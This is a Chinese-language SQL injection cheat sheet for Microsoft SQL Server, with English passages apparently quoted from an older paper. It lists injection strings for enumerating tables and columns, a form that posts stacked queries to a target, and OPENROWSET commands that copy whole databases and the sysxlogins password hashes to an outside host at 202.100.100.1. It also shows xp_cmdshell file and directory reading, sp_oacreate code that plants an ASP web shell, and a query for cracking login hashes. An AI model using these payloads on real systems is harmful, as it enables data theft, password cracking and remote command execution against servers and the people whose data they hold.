通常注射的一些介紹：
A) ID=49 這類注入的參數是數字型，SQL語句原貌大致如下：
select * from 表名 where 字段=49
注入的參數爲ID=49 And [查詢條件]，即是生成語句：
select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型，SQL語句原貌大致概如下：
select * from 表名 where 字段='連續劇'
注入的參數爲Class=連續劇' and [查詢條件] and ''=' ，即是生成語句：
select * from 表名 where 字段='連續劇' and [查詢條件] and ''=''
(C) 搜索時沒過濾參數的，如keyword=關鍵字，SQL語句原貌大致如下：
select * from 表名 where 字段like '%關鍵字%'
注入的參數爲keyword=' and [查詢條件] and '%25'='， 即是生成語句：
select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統表，存儲着所有的表名、視圖、約束及其它對象，xtype='U' and status>0，表示用戶建立的表名，上面的語句將第一個表名取出，與0比較大小，讓報錯信息把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名後，用object_id('表名')獲取表名對應的內部ID，col_name(表名ID,1)代表該表的第1個字段名，將1換成2,3,4...就可以逐個獲取所猜解表裏面的字段名。
post.htm內容：主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>

<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚舉出他的數據表名：
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>'剛纔得到的表名'）。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表，^^^^^^一個個的讀出，直到沒有爲止。
讀字段是這樣：
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));
--然後id=1552 and exists(select * from aaa where aaa>5)出錯，得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然後id=1552 and exists(select * from aaa where aaa>5)出錯，得到字段名
高級技巧：
[獲得數據表名][將字段值更新爲表名，再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表字段名][將字段值更新爲字段名，再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]

1、 開啓遠程數據庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) OLEDB Provider name
2、 其中連接字符串參數可以是任何和端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
要複製目標主機的整個數據庫，首先要在目標主機上和自己機器上的數據庫建立連接(如何在目標主機上建立遠程連接，剛纔已經講了),之後insert所有遠程表到本地表。
基本語法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有數據複製到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
之後，便可以從本地數據庫中看到目標主機的庫結構，這已經易如反掌，不多講，複製數據庫：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
3、 複製哈西表（HASH）
這實際上是上述複製數據庫的一個擴展應用。登錄密碼的hash存儲於sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之後，就可以進行暴力破解。這需要一點運氣和大量時間。
遍歷目錄的方法：
先創建一個臨時表：temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 獲得子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 獲得所有子目錄的目錄樹結構,並寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某個文件的內容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- （xp_dirtree適用權限PUBLIC）

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/inetpub/wwwroot/foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell": o.run( request.querystring("cmd" ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--

bulk insert tempdb..passwords from 'c:/temp/passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
